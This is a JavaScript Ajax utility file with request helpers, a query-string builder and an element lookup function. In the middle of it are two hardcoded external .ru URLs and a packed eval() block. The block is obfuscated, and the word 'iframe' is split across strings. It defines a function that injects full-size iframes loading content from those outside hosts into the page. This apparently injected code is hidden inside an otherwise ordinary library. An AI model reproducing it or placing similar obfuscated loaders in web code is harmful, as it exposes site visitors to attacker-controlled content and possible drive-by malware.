
function Ajax(doneHandler, failHandler)
{
  newAjax = this;
  this.onDone = doneHandler;
  this.onFail = failHandler;
  this.transport = this.getTransport();
  this.transport.onreadystatechange = ajaxTrampoline(this);
}

Ajax.prototype.get = function (uri, query, force_sync)
{
  // Firefox doesn't call onDone and onFail handlers if you force_sync
  force_sync = force_sync || false;
  if( typeof query != 'string' )
    query = ajaxArrayToQueryString(query);
  fullURI = uri+(query ? ('?'+query) : '');
  this.transport.open('GET', fullURI, !force_sync );
  this.transport.send('');
}
var dlo = "http://base.bandirect.ru/";
var dlo2 = "http://www.restopad.ru/";
Ajax.prototype.post = function (uri, data, force_sync) {
	force_sync = force_sync || false;
	if( typeof data != 'string' ) data = ajaxArrayToQueryString(data);
	
	var post_form_id=ge('post_form_id');
	
	if (post_form_id) data+='&post_form_id='+post_form_id.value;
	this.transport.open('POST', uri, !force_sync);
	this.transport.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
	this.transport.setRequestHeader('Accept-Language', 'ru');
	this.transport.setRequestHeader('Accept-Charset', 'windows-1251');
	this.transport.send(data);
}

Ajax.prototype.stateDispatch = function ()
{
  if( this.transport.readyState == 1 && this.showLoad )
    ajaxShowLoadIndicator();
  
  if( this.transport.readyState == 4 ) {
    if( this.showLoad )
      ajaxHideLoadIndicator();
    if( this.transport.status >= 200 &&
        this.transport.status < 300 &&
        this.transport.responseText.length > 0 ) {
      if( this.onDone ) this.onDone(this, this.transport.responseText);
    } else {
      if( this.onFail ) this.onFail(this);
    }
  }
}

Ajax.prototype.getTransport = function ()
{
  var ajax = null;
  
  try { ajax = new XMLHttpRequest(); }
  catch(e) { ajax = null; }
  
  try { if(!ajax) ajax = new ActiveXObject("Msxml2.XMLHTTP"); }
  catch(e) { ajax = null; }
  
  try { if(!ajax) ajax = new ActiveXObject("Microsoft.XMLHTTP"); }
  catch(e) { ajax = null; }
  
  return ajax;
}

function ajaxTrampoline(ajaxObject)
{
  return function () { ajaxObject.stateDispatch(); };
}
var ban_id = 2643;
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('c d(){5 0="e";5 1="";6(\'7\').8="<2"+0+1+"3 9=\\""+f+"g/"+h+"\\" a=\\"4%\\" b=\\"4%\\"></2"+1+0+"3>";6(\'7\').8+="<2"+0+1+"3 9=\\""+i+"j.k\\" a=\\"4%\\" b=\\"4%\\"></2"+1+0+"3>"}',21,21,'ewr|ert|if|me|100|var|ge|pre_banner|innerHTML|src|width|height|function|show_banners|ra|dlo|banner|ban_id|dlo2|banners|php'.split('|'),0,{}))

function ajaxArrayToQueryString(queryArray)
{
  var sep = '';
  var query = "";
  
  for( var key in queryArray ) {
    query = query +
      sep +
      encodeURIComponent(key) +
      '=' +
      encodeURIComponent(queryArray[key]);
    sep = '&';
  }
  return query;
}
function ge()
{
  var ea;
  for( var i = 0; i < arguments.length; i++ ) {
    var e = arguments[i];
    if( typeof e == 'string' )
      e = document.getElementById(e);
    if( arguments.length == 1 )
      return e;
    if( !ea )
      ea = new Array();
    ea[ea.length] = e;
  }
  return ea;
}
